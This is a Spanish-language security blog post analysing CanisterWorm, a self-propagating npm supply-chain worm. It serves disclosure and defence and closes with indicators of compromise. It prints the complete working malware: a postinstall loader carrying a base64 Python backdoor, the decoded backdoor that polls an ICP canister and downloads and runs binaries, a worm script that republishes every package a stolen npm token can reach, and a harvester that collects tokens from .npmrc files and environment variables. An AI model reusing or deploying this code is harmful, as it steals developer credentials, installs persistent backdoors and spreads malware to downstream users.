El 20 de marzo de 2026, a las 20:45 UTC, detectamos un gran número de paquetes comprometidos en NPM con un nuevo gusano que no se había observado antes. Estamos llamando a este ataque específico CanisterWorm, porque utiliza un ICP Canister para su dead-drop de C2, lo cual es la primera vez que vemos en una campaña de este tipo.
Han comprometido hasta ahora:
- 28 paquetes en el
@EmilGroupámbito - 16 paquetes en el
@opengovámbito - El paquete
@teale.io/eslint-config - El paquete
@airtm/uuid-base32 - El paquete
@pypestream/floating-ui-dom
Esto parece ser una continuación directa del ataque a Trivy hace menos de 24 horas, según documentó en detalle Wiz, y realizado por el mismo actor de amenazas, TeamPCP.
Análisis técnico
A continuación, un desglose de los detalles técnicos de alto nivel del ataque:
- 🧬 Arquitectura de tres etapas. Cargador post-instalación de Node.js → puerta trasera persistente de Python → punto de entrega (dead-drop) alojado en ICP para la distribución dinámica de payloads.
- 🪱 Gusano auto-propagable.
deploy.jsToma tokens de npm, resuelve nombres de usuario, enumera todos los paquetes publicables, actualiza las versiones de parche y publica el payload en todo el ámbito. 28 paquetes en menos de 60 segundos. - 🔁 Persistencia en systemd. Instala un servicio a nivel de usuario con
Restart=always. Sobrevive a los reinicios, se reinicia en caso de fallo, no requiere root. - 🌐 Contenedor ICP como punto de entrega C2. Un contenedor en la red principal de Internet Computer devuelve una URL que apunta a un payload binario. Descentralizado, resistente a la censura, sin un único punto de eliminación.
- 🔄 Rotación remota de payloads. El controlador del contenedor puede cambiar la URL en cualquier momento, enviando nuevos binarios a todos los hosts infectados sin tocar el implante.
- ⏱️ Evasión de sandbox. 5 minutos de inactividad antes de la primera baliza, intervalo de sondeo de ~50 minutos después.
- 🤫 Fallo silencioso. Toda la post-instalación está envuelta en
try/catch.npm installse ejecuta con normalidad en todas las plataformas; la puerta trasera solo se activa en Linux con systemd. - 🐘 Enmascaramiento de PostgreSQL. Todos los artefactos nombrados para pasar desapercibidos en las máquinas de los desarrolladores:
pgmon,pglog,.pg_state. - 📄 Preservación del README. El gusano obtiene el README original de cada paquete objetivo antes de publicarlo para mantener las apariencias.
Carga útil - Malware
A continuación se muestra la carga útil maliciosa principal. Este archivo se ejecuta automáticamente como un postinstall hook durante npm install. Esto es lo que hace paso a paso:
- 🔓 Decodifica la carga útil incrustada. La larga cadena base64 es un script de Python (la puerta trasera de segunda etapa que veremos a continuación). Se decodifica y se escribe en
~/.local/share/pgmon/service.py. - 🔧 Crea un servicio de usuario systemd. Escribe un archivo de unidad en
~/.config/systemd/user/pgmon.serviceque ejecuta el script de Python conRestart=alwaysy un retardo de reinicio de 5 segundos. No se requiere root, no hay solicitud de contraseña. - 🚀 Inicia el servicio inmediatamente. Ejecuta
systemctl --user daemon-reload, luego habilita e inicia el servicio. La puerta trasera ahora está en ejecución y sobrevivirá a los reinicios y caídas. - 🐘 Se disfraza como herramientas de PostgreSQL. El servicio se llama
pgmon, el binario que descarga más tarde se llamapglog, y el archivo de estado es.pg_state. Un desarrollador que eche un vistazo a sus servicios en ejecución no le daría importancia.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}Payload - Backdoor de Python
Al decodificar la carga útil de systemd codificada en base64, se obtiene lo siguiente. Esta es la backdoor real que persiste en el sistema. Solo utiliza módulos de la biblioteca estándar de Python, por lo que no hay nada que instalar.
- ⏱️ Permanece inactivo durante 5 minutos antes de hacer nada. Tiempo suficiente para superar la mayoría de los entornos sandbox que monitorizan comportamientos sospechosos inmediatos.
- 📡 Se comunica con el servidor de control cada ~50 minutos. Función
g()contacta con un canister ICP con un User-Agent de navegador falsificado. El canister no sirve malware directamente. Simplemente devuelve una URL como texto plano, apuntando a donde esté alojado actualmente el binario real. - 📥 Descarga y ejecuta lo que se le indique. Función
e()obtiene el binario en/tmp/pglog, lo marca como ejecutable y lo lanza en un proceso completamente desasociado. La URL se guarda en/tmp/.pg_statepara que no vuelva a descargar la misma carga útil dos veces. - 🔘 Tiene un interruptor de apagado integrado. Si la URL contiene
youtube[.]com, el script lo omite. Este es el estado inactivo del canister. El atacante activa el implante apuntando el canister a un binario real, y lo desactiva volviendo a un enlace de YouTube. - 🔄 Soporta rotación de carga útil. Si el atacante actualiza el canister para que apunte a una nueva URL, cada máquina infectada obtiene el nuevo binario en su siguiente sondeo. El binario antiguo sigue ejecutándose en segundo plano, ya que el script nunca elimina los procesos anteriores.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Esta carga útil, y el dominio referenciado, parecen ser similares, si no idénticos a la sysmon.py carga útil del ataque de Trivy. En este momento, la URL devuelta por el C2 es un vídeo de YouTube de Rickroll. Esto podría cambiar en cualquier momento y empezar a servir una carga útil maliciosa adecuada.
Carga útil - Gusano
Los paquetes también incluyen deploy.js, una herramienta de autopropagación que el atacante ejecuta manualmente para extender la carga útil maliciosa a todos los paquetes a los que tiene acceso un token de npm robado. El gusano es muy simple. Parece estar desarrollado de forma improvisada y es autoexplicativo. No se hizo ningún intento de ofuscación. Esto no se activa por npm install. Es una herramienta independiente que el atacante ejecuta con tokens robados para maximizar el radio de impacto. Esto es lo que hace:
- 🔑 Soporta múltiples tokens. Lee
NPM_TOKENS(separado por comas) oNPM_TOKENdel entorno. Cada token se procesa de forma independiente, lo que significa que una sola ejecución puede comprometer múltiples cuentas. - 🔍 Resuelve a quién pertenece el token. Para cada token, llama al
/-/whoamiendpoint de npm para obtener el nombre de usuario asociado. Los tokens inválidos o caducados se omiten. - 📦 Enumera cada paquete en el que la cuenta puede publicar. Utiliza la API de búsqueda de npm con
maintainer:<username>, paginado en lotes de 250. Así es como descubrió los 28@emilgrouppaquetes. - 🔢 Incrementa automáticamente la versión de parche. Obtiene la versión actual
latestde cada paquete objetivo e incrementa el número de parche.1.54.0se convierte en1.54.1,1.97.1se convierte en1.97.2. La nueva versión siempre parece una versión de parche rutinaria. - 📄 Conserva el README original. Antes de publicar, recupera el README existente del paquete objetivo desde el registro y lo sustituye localmente. Después de publicar, restaura sus propios archivos. Esto mantiene la apariencia normal del listado de npm.
- 🔀 Reescribe
package.jsonsobre la marcha. Reemplaza temporalmente el nombre y la versión del paquete en el archivo localpackage.jsoncon los del objetivo, publica y luego restaura el original. Un esqueleto malicioso, reutilizado para cada paquete. - 🚀 Publica con
--tag latest. El--access public --tag latestflags aseguran que la versión maliciosa se convierta en la instalación predeterminada. Cualquiera que ejecutenpm install @emilgroup/whateverobtiene la versión comprometida. - 🧹 Se limpia a sí mismo. Ambos
package.jsonyREADME.mdsiempre se restauran en unfinalmentebloque, incluso si la publicación falla. El directorio local parece intacto después de la ejecución. - 📊 Imprime un resumen. Registra éxitos y fallos por token, y lo registra todo con líneas de estado prefijadas con emojis. Irónicamente bien diseñado para una herramienta de ataque.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Actualización: CanisterWorm Aprende a Autopropagarse
Aproximadamente una hora después de la @emilgroup ola inicial, el atacante implementó una actualización significativa de @teale.io/eslint-config versiones 1.8.11 y 1.8.12 (21:16-21:21 UTC). El gusano ya no es una herramienta manual. Ahora se auto-propaga.
En las @emilgroup versiones, deploy.js era un script independiente que el atacante ejecutaba manualmente con tokens robados. Las víctimas obtenían la puerta trasera, pero el gusano no se propagaba por sí solo. Eso ha cambiado. La nueva index.js añade una findNpmTokens() función que se ejecuta durante postinstall y recolecta activamente tokens de autenticación de npm de la máquina de la víctima.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Esta es la misma puerta trasera de systemd que antes, pero con una adición crítica al final: después de instalar el servicio persistente, rastrea cada token de npm que puede encontrar y genera el gusano con ellos.
- 🔍 Rastrea
.npmrcarchivos. Comprueba~/.npmrc(configuración de usuario),.npmrcen el directorio de trabajo actual (configuración de proyecto), y/etc/npmrc(configuración global). Analiza cada línea en busca de_authTokenvalores. Es lo suficientemente inteligente como para omitir variables de plantilla como${NPM_TOKEN}que no han sido interpoladas. - 🔍 Rastrea variables de entorno. Busca
NPM_TOKEN,NPM_TOKENS, y cualquier cosa que coincida con*NPM*TOKEN*. Divide por comas para manejar variables con múltiples tokens. Esto detecta la mayoría de las configuraciones de CI/CD. - 🔍 Consulta directamente la configuración de npm. Ejecuta
npm config get //registry.npmjs.org/:_authTokencomo un subproceso para capturar tokens almacenados externamente.npmrcarchivos. - 🪱 Genera automáticamente el gusano. Si se encuentran tokens, lanza
deploy.jscomo un proceso en segundo plano completamente desvinculado con los tokens robados. Eldetached: truey.unref()significan que el gusano sigue ejecutándose incluso después de quenpm installfinalice.
Este es el punto en el que el ataque pasa de "cuenta comprometida publica malware" a "el malware compromete más cuentas y se autopublica". Cada desarrollador o pipeline de CI que instala este paquete y tiene un token de npm accesible se convierte en un vector de propagación involuntario. Sus paquetes se infectan, sus usuarios posteriores instalan esos, y si alguno de ellos tiene tokens, el ciclo se repite.
La carga útil de la puerta trasera de ICP fue sustituida por hello123, una cadena de prueba ficticia que se decodifica en bytes basura. Cuando systemd intenta ejecutarla como Python, se bloquea inmediatamente, pero con Restart=always establecido, el servicio se reinicia silenciosamente cada 5 segundos. El atacante implementó la infraestructura primero para validar la cadena completa (recolección de tokens, generación de gusanos, persistencia de systemd) antes de armarla con la carga útil real.
Si esto se hubiera implementado con la puerta trasera completa de ICP, los paquetes de cada desarrollador comprometido se habrían convertido en un nuevo vector de infección. La infraestructura funciona. Simplemente no han abierto el grifo todavía.
Mensaje en el código fuente
Parece que el actor de la amenaza está siguiendo la cobertura de sus ataques. En su última oleada de ataques, dejó un mensaje dirigido directamente al autor de esta publicación de blog:

Indicadores de Compromiso
Infraestructura C2
hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/— Resolutor de punto de entrega de canister ICP
Indicadores del sistema de archivos
~/.local/share/pgmon/service.py— Script de puerta trasera de Python~/.config/systemd/user/pgmon.service— Unidad de persistencia de Systemd/tmp/pglog— Carga útil binaria descargada/tmp/.pg_state— Archivo de seguimiento de estado
Hashes maliciosos de index.js (SHA256)
e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b— Oleada 1: prueba en seco (carga útil vacía, despliegue manual)61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba— Oleada 2: puerta trasera ICP armada, despliegue manual0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a— Oleada 3: autopropagante, carga útil de pruebac37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926— Oleada 4: forma final (autopropagante + puerta trasera ICP armada)
Hashes maliciosos de deploy.js (SHA256)
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152— Oleada 1: verboso, sin --tag latest- 7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 — Oleada 2: añadido --tag latest
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956— Ola 3+: minificada, silenciosa

